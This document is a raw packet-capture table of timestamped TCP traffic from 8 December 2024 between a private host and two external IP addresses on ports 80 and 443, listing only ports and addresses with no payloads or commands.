Dec 8, 2024 17:45:45.090048075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.091032982 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.091114998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.091151953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.091204882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.092147112 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.092197895 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.092295885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.092428923 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.093264103 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.093331099 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.093381882 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.093544006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.094378948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.094439030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.094470024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.094604015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.095566034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.095596075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.095634937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.095849991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.096621037 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.096683025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.096710920 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.096796036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.097697020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.097790003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.097816944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.097979069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.098813057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.098999977 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.099009991 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.099234104 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.099965096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.100017071 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.100068092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.100123882 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.101053953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.101150036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.101172924 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.101284981 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.102183104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.102248907 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.102320910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.102387905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.102533102 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.102591991 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.102623940 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.102644920 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.102667093 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.102684975 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.103424072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.103496075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.103537083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.103537083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.104439974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.104552984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.104553938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.104659081 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.105530024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.105598927 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.105632067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.105717897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.106640100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.106746912 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.106823921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.106913090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.107769012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.107880116 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.107891083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.107999086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.108892918 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.108988047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.109071016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.109133005 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.110037088 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.110049963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.110157013 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.111116886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.111171961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.111326933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.111428022 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.112281084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.112334967 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.112375021 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.112426996 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.113456011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.113557100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.113563061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.113672018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.114535093 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.114595890 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.114594936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.114645004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.115647078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.115710020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.115768909 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.116013050 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.116482973 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.116508961 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.116552114 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.116563082 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.116595030 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.116614103 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.116719961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.116776943 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.116902113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.116974115 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.117851019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.117961884 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.117969036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.118007898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.119232893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.119317055 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.131445885 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.131463051 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.131532907 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.131548882 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.131603956 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.145520926 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.145539045 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.145627975 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.145639896 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.145678043 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.160038948 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.160057068 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.160137892 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.160147905 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.160181046 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.173489094 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.173506975 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.173599958 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.173614025 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.173772097 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.185931921 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.185949087 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.186008930 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.186018944 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.186189890 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.253741980 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.253765106 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.253829002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.253829002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.253999949 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.254153967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.254244089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.255213022 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.255300045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.255304098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.255412102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.256243944 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.256303072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.256304979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.256381989 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.257386923 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.257441998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.257494926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.257548094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.258542061 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.258601904 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.258610010 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.258651018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.259610891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.259629011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.259710073 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.260864973 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.260878086 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.261013985 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.261818886 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.261898041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.261956930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.262017012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.262933016 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.263005018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.263050079 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.263108969 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.264085054 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.264164925 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.264168024 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.264216900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.265172958 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.265264034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.265326977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.265429974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.277709961 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.277748108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.277760983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.277793884 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.277793884 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.277817011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.277828932 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.277839899 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.277839899 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.277852058 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.277884960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.277909994 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.277971029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278091908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278101921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278114080 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278125048 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278136969 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278152943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278163910 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278176069 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278192043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.278192043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.278192043 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.278228998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.278455019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278466940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278532028 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.278532028 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.278588057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278601885 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278611898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278625965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.278659105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.278687954 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.279242039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.279285908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.279310942 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.279336929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.280148983 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.280224085 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.280268908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.280339003 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.280878067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.280958891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.280963898 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.281018972 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.281965017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.282052994 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.282072067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.282116890 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.283066988 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.283119917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.283253908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.283330917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.284276009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.284351110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.284497023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.285305023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.285351992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.285377979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.285434961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.286438942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.286478996 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.286504984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.286542892 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.287460089 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.287482023 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.287529945 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.287559032 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.287568092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.287574053 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.287580967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.287595034 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.287656069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.288747072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.288821936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.288852930 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.288976908 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.289825916 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.289911985 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.289952993 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.290014982 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.290873051 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.290937901 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.296919107 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.296937943 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.297002077 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.297010899 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.297045946 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.297055960 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.307661057 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.307679892 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.307744026 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.307755947 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.307939053 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.317881107 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.317939043 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.317990065 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.318001986 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.318028927 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.318048954 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.326358080 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.326384068 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.326443911 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.326452971 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.326579094 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.334894896 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:45.336525917 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.336549997 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.336617947 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.336626053 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.336700916 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.345093966 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.345113039 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.345182896 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.345192909 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.345221996 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.345241070 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.354549885 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.354571104 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.354644060 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.354654074 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.354752064 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.443809986 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.443835974 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.443851948 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.443900108 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.443943977 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.443952084 CET	443	49824	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.444011927 CET	49824	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.454164028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:45.480349064 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.480402946 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.480484009 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.480509043 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.480626106 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.487689972 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.487708092 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.487771988 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.487780094 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.487869024 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.495275974 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.495300055 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.495377064 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.495388031 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.495512962 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.501718044 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.501735926 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.501817942 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.501830101 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.501908064 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.509277105 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.509299040 CET	443	49823	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:45.509391069 CET	49823	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:45.509418964 CET	443	49823	150.171.27.10	192.168.2.6
